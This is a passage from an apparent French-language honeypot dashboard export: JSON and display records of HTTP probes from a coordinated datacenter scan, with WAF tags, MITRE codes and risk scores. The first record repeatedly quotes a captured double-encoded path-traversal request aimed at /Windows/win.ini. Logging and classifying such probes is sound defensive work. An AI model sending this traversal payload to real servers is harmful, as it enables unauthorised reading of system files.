"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 329,
"precision_signals": [
"INT-http_lfi",
"pat-0715",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"kb_rule_ids": [
"INT-http_lfi",
"pat-0715",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"matched_patterns": [
"pat-0715"
],
"matched_pattern_names": [
"CRS 930150 boot ini"
],
"pattern_ids": [
"pat-0715"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "da18331b1ff00d5f7edd28360900cd49",
"path_pattern_hash": "584e17b7bcc67c2f535291a0253964b1"
},
"target_context": {
"dst_port": 8002,
"service": "http",
"service_name": "http",
"risk_score": 68
},
"method": "GET",
"path": "\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini HTTP\/1.1",
"payload_snippet": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/wi",
"evidence": {
"method": "GET",
"path": "\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini HTTP\/1.1",
"request_sample": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8002\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"payload_snippet": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/wi",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "94999078b91c2ea5ec1c4c19d75abb4aa7a8310e",
"protocol_details": {
"http_method": "GET",
"http_path": "\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini",
"request_line": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8002,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/wi",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8002 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%\u2026",
"target_port_label": "8002 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 68\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 68,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8002,
"protocol_emulated": true,
"tags_summary": [
"INT-http_lfi",
"pat-0715",
"CRS-930100-sub",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Http Lfi",
"pat-0715",
"CRS-930100-sub",
"Upstream"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini",
"request_line": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8002,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8002 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%\u2026",
"evidence_snippet": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/wi",
"target_port_label": "8002 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 5 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8002"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 21,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950260:lfi-0",
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_path_traversal",
"http_probe_cgi_bin",
"http_sensitive_path",
"iot_http_endpoint",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:11:21 UTC
TCP
8040 · HTTP
SSRF interne
ssrf internal · via HTTP:8040 · (tentative d'exploit)
Élevée
Moyen · 53
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0001
TA0001
TA0002
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8040
Chemin / cible
/
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
64%
Corrélation +10
Risque capteur
Moyen
· 53
Confiance : Confiance 54 % — Motif catalogue confirmé · 3 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8040
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac
Requête brute (extrait)
GET / HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8040 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "ef70bfd6e2bb5526cc8d8ebb452ffb26b3b43dba",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 216,
"payload_entropy": 5.393380860272721,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8040,
"risk_waf": 72,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 3.2,
"risk_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 53,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "0230c466a95c1b77f2132c60e1f0bd624096aa92",
"event_fingerprint": "6b48df12f748b1fa3e8f3ce127735f04dd41e370",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.64,
"classification_confidence": 0.64,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 53,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "e17b308f16d5c43caf9fccc3db255159",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8040,
"service": "http",
"service_name": "http",
"risk_score": 53
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8040\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8040\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8040\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8040\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8040\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "afe604b04cf125540fb67cebf0837ecc4957d8fd",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8040,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8040\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"attack_vector": "ssrf internal \u00b7 via HTTP:8040 \u00b7 (tentative d'exploit)",
"target_port_label": "8040 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 53\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 64 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 64,
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 53,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 53,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8040,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8040,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:8040 \u00b7 (tentative d'exploit)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8040\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"target_port_label": "8040 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 64 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8040"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 18,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:08:51 UTC
TCP
8001 · HTTP
Scan de ports
port scan syn · via HTTP:8001 · (reconnaissance)
Élevée
Moyen · 53
Détails
Voir
Étape
Reconnaissance
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Campagne multi-ports
Scan coordonné
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8001
Chemin / cible
/
Pourquoi cette classification : Type « port_scan_syn » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +16
Risque capteur
Moyen
· 53
Confiance : Confiance 100 % — 3 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1046
SIGMA-net-port-scan
Beh Multi Port 60S
Tactiques MITRE
TA0043
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: 62.3.50.33:8001
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.
Requête brute (extrait)
GET / HTTP/1.1 Host: 62.3.50.33:8001 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "29d114ae8a3567c5f1863f5bd79c5d398a432fe8",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 185,
"payload_entropy": 5.330596317508582,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8001,
"risk_waf": 72,
"risk_classification": 64,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 1.9,
"risk_breakdown": {
"waf": 72,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 53,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "7095accd48672777d0b04080e74b3cd7450ee662",
"event_fingerprint": "9d6a318ce652902314c6341b2bb6c2bcca4647fd",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 231,
"precision_signals": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"kb_rule_ids": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 53,
"correlation_boost": 16
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "d98ca6808eca228fd5a31c9e2db787e3",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8001,
"service": "http",
"service_name": "http",
"risk_score": 53
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8001\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8001\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8001\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8001\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8001\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "recon",
"mitre_tactics": [
"TA0043"
],
"mitre_techniques": [
"T1046"
],
"mitre": "T1046",
"threat_family": [
"scanner"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "d687f0d86ac52450e839740f41c761f7782dbfe8",
"protocol_details": {
"http_method": "GET",
